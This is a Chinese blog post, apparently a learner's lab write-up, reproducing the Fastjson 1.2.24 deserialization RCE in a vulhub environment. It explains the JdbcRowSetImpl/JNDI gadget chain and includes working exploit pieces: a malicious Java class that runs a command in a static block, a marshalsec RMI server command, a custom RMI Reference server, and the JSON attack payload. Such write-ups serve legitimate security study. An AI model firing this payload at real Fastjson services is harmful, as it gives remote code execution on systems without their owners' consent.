banner
Hi my new friend!

fastjson_1.2.24-rce

Scroll down

依据vulhub/fastjson/1.2.24-rce/README.zh-cn.md at master · vulhub/vulhub进行复现

参考Java反序列化工具-marshalsec-腾讯云开发者社区-腾讯云进行marven|marshalsec进行环境搭建

我理解的fastjson的面试回答

wocao我当时真不会啊简历那都是瞎写的,来电话的时候很突然直接就开始面试了没背面经,直接给了

原理就是依靠rmi来实现远程执行本地服务端(攻击机)的接口调(恶意治疗)命令
fastjson的性质就是阿里巴巴开发用来反序列化json文本成为java对象的一个中间件。为了记录原对象,序列化的json对象中会有一个@type的键值对,这个就是用来记录序列化前的对象用来定位。进一步利用就是在rmi/ladp这种远程资源调用的时候会返回一个reference,这里面传递的url是前端可控。那么根据fastjson的机制,这个远程资源将会被本地jvm加载,由于恶意payload中的恶意代码是使用static来进行,所以会直接运行。

fastjson实现的链(Gadget Chain)

  1. 发送json给fastjson进行反序列化
  2. 看到@type之后使用反射机制创建一个**com.sun.rowset.JdbcRowSetImpl** 实例。
  3. 在使用setter设置属性的时候使用了setAutoCommit(true), 这个方法在内部代码逻辑上,强制调用了 connect()
  4. 这就会读取dataSourceName属性并且使用JNDI来发起远程查询(当成数据库了)
  5. RMI服务器返回一个恶意的Reference引用,根据java的自带逻辑会加载这个恶意类到jvm中,由于存在static属性,所以恶意类会被直接执行。

fastjson开始打靶

靶场环境搭建这一块

心路历程这一块

fastjson利用原理

参考文档:

fastjson用于处理jsonjava对象之间的序列化和反序列化关系。
在进行序列化[java–>json]的时候,fastjson主要是使用对象中的getting来进行序列化,将实例对象的内容以字符串的形式添加入json中,这就导致了序列化之后的json能够保存对象的所有内容,但是不能保存对象的来源(也就是说不能够保存接口类),也就是说正常情况下一下两种 实例化对象序列化之后的内容是完全一样的,无法区分谁是谁:

1
2
3
4
5
6
7
8
9
class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}

class iphone implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}

​ 为了解决这种问题,fastjson使用SerializerFeature.WriteClassName对序列化之后的内容进行标记,将@type添加到序列化的json中来标识每个json的来源,以便反序列化的时候能够定位到具体的原始对象的setting来重新进行反序列化生成新的java对象,这个就是AutoType,和引入AutoType的原因。

​ 实际上可以发现决定漏洞是否存在的就是这个AutoType,在fastjson2之后没有显式允许的时候不允许使用来提升安全性。

开始攻击

环境清单(详情见环境搭建

  1. 靶机vulhub fastjson1.2.24-rce
  2. 攻击机:docker image: justrydeng/jdk8 + mvn + marshalsec

网络清单

  1. 网络连通性检查

    由于docker-compose的网卡和默认run启动的网卡不一样,所以需要手动联通一下

    1
    sudo docker network ls

    image-20250926013820735

    那么需要联通的就是网卡1224-rce_defaultbridge

    使用命令

    1
    sudo docker network connect 1224-rce_default jdk8
  2. 靶机:挨打,开放端口8090:8090 docker-compose专用网卡,同时互联到bridge网卡,保证能和攻击机互通
    image-20250926013458000

  3. 攻击机:保证内部互通的前提下
    image-20250926013632802

  4. 提供类的文件服务器

    我直接放靶场环境下了,使用python http服务器提供,也就是虚拟机本体(非docker,必然可以实现连通)

攻击步骤

  1. 访问ubuntu.vulhub:8090,发送json实现修改json内容证明存在fastjson框架
    image-20250926014657966

  2. 运行恶意类的文件服务器

    1
    python -m http.server

    使用命令javac TouchFile.java来获得这个类TouchFile.class

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;

    public class TouchFile {
    static {
    try {
    Runtime rt = Runtime.getRuntime();
    String[] commands = {"touch", "/tmp/successFrank"};
    Process pc = rt.exec(commands);
    pc.waitFor();
    } catch (Exception e) {
    // do nothing
    }
    }
    }
  3. 使用marshalsec启动一个rmi服务器指向恶意类的文件服务器
    就是这个类marshalsec.jndi.RMIRefServer启动的rmi服务器,并且把http://172.17.0.1:8000/#TouchFile这个地址绑定到3000端口上

    1
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.17.0.1:8000/#TouchFile" 3000

    实际上这是marshalsec封装好了的代码.也可以自己写,可以更清楚的展现出对应的Reference调用的过程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    package rce;

    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import javax.naming.Reference;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;

    public class RMIServer {
    public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(3000);
    Reference reference = new Reference("TouchFile", "TouchFile", "http://172.17.0.1:8000/"); //类名/方法名/访问的http地址
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.bind("colf", wrapper); //只要访问这个colf,就会被映射到上面的TouchFile上
    }
    }
  4. 使用POST向靶机发送payload

    1
    2
    3
    4
    5
    6
    7
    {
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://172.19.0.3:3000/TouchFile",
    "autoCommit":true
    }
    }

三方反应

  1. 恶意文件服务器
    image-20250926021339943

  2. 靶机
    image-20250926021410870

    恶意类中构造的路径/tmp/successFrank
    image-20250926021730621

  3. 攻击机
    image-20250926021543615

疑惑点

**Question1:**JNDI欺骗加载了类,为什么会执行?

  1. 利用 static 静态代码块,在 Java 规范中,当一个类被 JVM 首次加载和初始化时,JVM 会立即执行该类的所有 静态代码块 (static {}),并且只执行一次。

    在TouchFile.java中是这样的,所以会直接执行

    1
    2
    public class TouchFile {
    static {
  2. 攻击payload中使用了com.sun.rowset.JdbcRowSetImpl,会调用connect()会触发查询
    在fastjson反序列化设置dataSourceNameautoCommit的时候会使用setter,这个方法在内部代码逻辑上,强制调用了 connect() 方法。而 connect() 方法正是负责发起 JNDI 查询的地方。
    根据JNDI标准,当收到的Reference指向一个远程代码库的时候就会执行:连接-下载-加载到jvm中
    当加载的时候,这个恶意代码就被执行了

攻击环境搭建

基本环境

  1. 使用docker来找一个jdk8的环境,这边找的是镜像: justrydeng/jdk8

  2. 使用命令搭建一个容器:

    1
    sudo docker run -it -p 3000:3000 --name jdk8 justrydeng/jdk8 /bin/bash

    要是一个shell不够还需要一个,执行:

    1
    2
    docker ps #查找所有正在运行的容器
    docker exec -it 容器名 /bin/bash
  3. 容器中没有好用的网络工具和文本编辑工具,需要使用apt手动下载,由于之前设置了docker的代理,所以这里不需要考虑网络问题

安装maven(抄袭上文提到的博客)

  1. Maven安装: https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

  2. 解压后复制文件目录到/usr/local, 修改文件setting.xml

    1
    2
    3
    4
    tar -xzvf apache-maven-3.6.3-bin.tar.gz
    docker cp ./apache-maven-3.6.3-bin.tar.gz/ 容器名:/user/local # 复制到docker中
    cd conf
    nano setting.xml
    1
    2
    ctrl+w : localRepository修改
    <localRepository>/usr/local/apache-maven-3.6.3/repo</localRepository>

    image-20250925005656476

    1
    2
    3
    4
    5
    6
    7
    ctrl+W: mirror去掉注释修改
    <mirror>
    <id>alimaven</id>
    <name>aliyun maven</name>
    <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
    <mirrorOf>central</mirrorOf>
    </mirror>

    image-20250925005747340

  3. 修改环境变量并且应用该修改的环境变量

    1
    2
    3
    4
    5
    nano /etc/profile

    # maven setting
    export MAVEN_HOME=/usr/local/apache-maven-3.6.3
    export PATH=$PATH:$MAVEN_HOME/bin
    1
    source /etc/profile

    测试是否部署成功

    1
    mvn -v

    没成功, java环境有问题

    image-20250925010231064

    image-20250925010459568

    然后就发现其实是骗你的,根本就没有文件夹jdk1.8.0_191,java直接就被安装在了/usr/local

    重新配置环境变量

    1
    2
    3
    4
    # java setting
    export JAVA_HOME=/usr/local
    export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
    export PATH=${JAVA_HOME}/bin:$PATH

    应用

    1
    source /etc/profile

    成功

    image-20250925011014056

编译安装marshalsec

github上拉取,进入目录,执行编译命令

1
mvn clean package-DskipTests

本地会出现一个target/路径,cd进去

image-20250925141935071
这就对了,然后就可以坐等开饭了

知识回顾

666忘记什么是interface接口了

java中interface接口不定义具体内容 只是规定必要的方法,而继承的类可以定义自己的方法

1
2
3
public interface CanSwim {
void swim();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 鸭子类实现了 CanSwim 接口
public class Duck implements CanSwim {
@Override
public void swim() {
System.out.println("鸭子在水里划水。");
}

// 鸭子特有的方法
public void quack() {
System.out.println("嘎嘎嘎!");
}
}

// 狗类也实现了 CanSwim 接口
public class Dog implements CanSwim {
@Override
public void swim() {
System.out.println("狗在水里狗刨。");
}

// 狗特有的方法
public void bark() {
System.out.println("汪汪!");
}
}

rmi(真不会啊 学习一下)

有点像JavaScript的rpc

  1. 远程调用实现

  2. 存在三方: 服务端, 注册中心(通常和服务端在一台设备,但是不是一个应用),客户端

  3. 客户端只有接口但是没有具体的实现类, 服务端有具体的接口实现类, 客户端通过注册中心在服务端上执行命令(可能返回,但是具体类的方法实现还是在服务端进行的)

  4. 服务端的前提: 绑定(create)一个注册中心 + 把实现类绑定到注册中心

    1
    2
    Registry registry = LocalRegistry.createRegistry(1099)
    registry.rebind("calc", UnicastRemoteObject.exportObject(calc,0)
  5. 客户端前提: 用本地的注册中心去获取远程的注册中心

    1
    2
    3
    4
    Registry registry = LocalRegistry.getRegistry("remoteip",1099)
    Remote calc = registry.lookup("calc") //获取远程实现类放到本地.但是应该定义成本地已知的接口类型
    // 也就是这样
    Calc calc = (Calc) registry.lookup("calc")

JNDI注入

JNDI: The java Naming and Directory Interface java密码和目录接口,是一组在java应用中访问命名和目录服务器的API,在目录中记录了许多资源的位置,允许用户通过名称去访问。

也就是说,JNDI的出现允许用户通过一个统一的接口去查找和访问各种远程资源,能够用来定位:用户、网络、机器、对象和服务器等各种资源。比如局域网上一台打印机,数据库服务或者一个远程JAVA对象

20230308194119-24a1affa-bda6-1

  • RMI
  • LDAP
  • DNS

后端漏洞条件

  1. ladp

    只要这个url是可以控的(前端传过去的),并且执行了lookup方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import javax.naming.InitialContext;
    import javax.naming.NamingException;

    public class App{
    public static void main(String[] args) throws NamingException{
    String url = "ladp:http://127.0.0.1:7777/ExploitObject";
    InitialContext initialContext = new InitialContext();
    initiakContext.lookup(url);
    }
    }
  2. rmi漏洞成因(实际上上面的ladp也差不多)

    image-20250926170638348

其他文章
cover
碎碎念
  • 99/12/30
  • 00:00
  • 未分类
cover
windwos rabbitmq python配置学习
  • 25/07/22
  • 00:00
  • 中间件配置学习
目录导航 置顶
  1. 1. 我理解的fastjson的面试回答
    1. 1.1. fastjson实现的链(Gadget Chain)
  2. 2. fastjson开始打靶
    1. 2.1. fastjson利用原理
    2. 2.2. 开始攻击
      1. 2.2.1. 环境清单(详情见环境搭建)
      2. 2.2.2. 网络清单
      3. 2.2.3. 攻击步骤
      4. 2.2.4. 三方反应
      5. 2.2.5. 疑惑点
  3. 3. 攻击环境搭建
    1. 3.1. 基本环境
    2. 3.2. 安装maven(抄袭上文提到的博客)
    3. 3.3. 编译安装marshalsec
  4. 4. 知识回顾
    1. 4.1. 666忘记什么是interface接口了
    2. 4.2. rmi(真不会啊 学习一下)
    3. 4.3. JNDI注入
      1. 4.3.1. 后端漏洞条件
请输入关键词进行搜索